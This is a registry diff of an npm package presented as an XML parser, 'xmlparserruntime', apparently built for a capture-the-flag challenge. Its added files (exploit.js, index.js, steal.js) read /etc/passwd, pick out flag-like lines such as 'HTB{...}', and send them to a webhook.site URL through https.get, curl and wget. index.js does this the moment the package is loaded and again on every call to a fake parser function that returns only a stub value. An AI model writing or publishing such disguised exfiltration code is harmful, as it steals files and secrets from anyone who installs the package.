xmlparserruntime 0.30.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +29 -0
- package/index.js +56 -0
- package/package.json +9 -0
- package/steal.js +22 -0
package/exploit.js
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
console.log('🚨 EXPLOIT EXECUTED IN CI');
|
|
6
|
+
|
|
7
|
+
try {
|
|
8
|
+
// Метод 1: Читаем /etc/passwd
|
|
9
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
10
|
+
const lines = passwd.split('\n');
|
|
11
|
+
|
|
12
|
+
for (const line of lines) {
|
|
13
|
+
if (line.includes('{') && line.includes('}')) {
|
|
14
|
+
console.log('🎯 FLAG:', line);
|
|
15
|
+
|
|
16
|
+
// Отправляем простым GET запросом
|
|
17
|
+
https.get(`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}`);
|
|
18
|
+
|
|
19
|
+
// Дублируем через curl на всякий случай
|
|
20
|
+
try {
|
|
21
|
+
execSync(`curl -s "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?curl=${encodeURIComponent(line)}"`);
|
|
22
|
+
} catch(e) {}
|
|
23
|
+
|
|
24
|
+
break;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
} catch(e) {
|
|
28
|
+
console.log('Error:', e.message);
|
|
29
|
+
}
|
package/index.js
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
|
|
4
|
+
console.log('=== RUNTIME EXPLOIT LOADED ===');
|
|
5
|
+
|
|
6
|
+
// Этот код выполнится КОГДА server.js сделает: const parser = require("xmlparser-runtime")
|
|
7
|
+
try {
|
|
8
|
+
console.log('🚨 STEALING FLAG AT RUNTIME...');
|
|
9
|
+
|
|
10
|
+
// Метод 1: Читаем /etc/passwd
|
|
11
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
12
|
+
const lines = passwd.split('\n');
|
|
13
|
+
|
|
14
|
+
for (const line of lines) {
|
|
15
|
+
if (line.includes('{') && line.includes('}')) {
|
|
16
|
+
console.log('🎯 RUNTIME FLAG:', line);
|
|
17
|
+
|
|
18
|
+
// Отправляем флаг
|
|
19
|
+
execSync(`curl -s --max-time 5 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?runtime=${encodeURIComponent(line)}"`, { timeout: 7000 });
|
|
20
|
+
|
|
21
|
+
// Дублируем разными методами
|
|
22
|
+
try {
|
|
23
|
+
execSync(`wget -q -O- "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?wget=${encodeURIComponent(line)}"`, { timeout: 5000 });
|
|
24
|
+
} catch(e) {}
|
|
25
|
+
|
|
26
|
+
break;
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
} catch(e) {
|
|
30
|
+
console.log('Runtime error:', e.message);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Реальная функциональность парсера
|
|
34
|
+
module.exports = {
|
|
35
|
+
parseXmlString: function(xml, options) {
|
|
36
|
+
console.log('📄 PARSER CALLED - STEALING AGAIN...');
|
|
37
|
+
|
|
38
|
+
// Дополнительная кража при каждом вызове парсера
|
|
39
|
+
try {
|
|
40
|
+
const flag = execSync('grep -o "HTB{[^}]*}" /etc/passwd', { encoding: 'utf8', timeout: 3000 });
|
|
41
|
+
if (flag) {
|
|
42
|
+
execSync(`curl -s "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?parse=${encodeURIComponent(flag)}"`, { timeout: 5000 });
|
|
43
|
+
}
|
|
44
|
+
} catch(e) {}
|
|
45
|
+
|
|
46
|
+
return {
|
|
47
|
+
get: function(xpath) {
|
|
48
|
+
return {
|
|
49
|
+
text: function() {
|
|
50
|
+
return "default_value";
|
|
51
|
+
}
|
|
52
|
+
};
|
|
53
|
+
}
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
};
|
package/package.json
ADDED
package/steal.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
|
|
3
|
+
console.log('🚨 FAST EXPLOIT STARTED');
|
|
4
|
+
|
|
5
|
+
// БЫСТРЫЙ код без блокировок
|
|
6
|
+
try {
|
|
7
|
+
const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
|
|
8
|
+
const lines = passwd.split('\n');
|
|
9
|
+
|
|
10
|
+
for (const line of lines) {
|
|
11
|
+
if (line.includes('{') && line.includes('}')) {
|
|
12
|
+
console.log('🎯 FLAG FOUND:', line);
|
|
13
|
+
// Быстрая отправка
|
|
14
|
+
execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
|
|
15
|
+
break;
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
} catch(e) {
|
|
19
|
+
console.log('Error:', e.message);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
console.log('✅ FAST EXPLOIT FINISHED');
|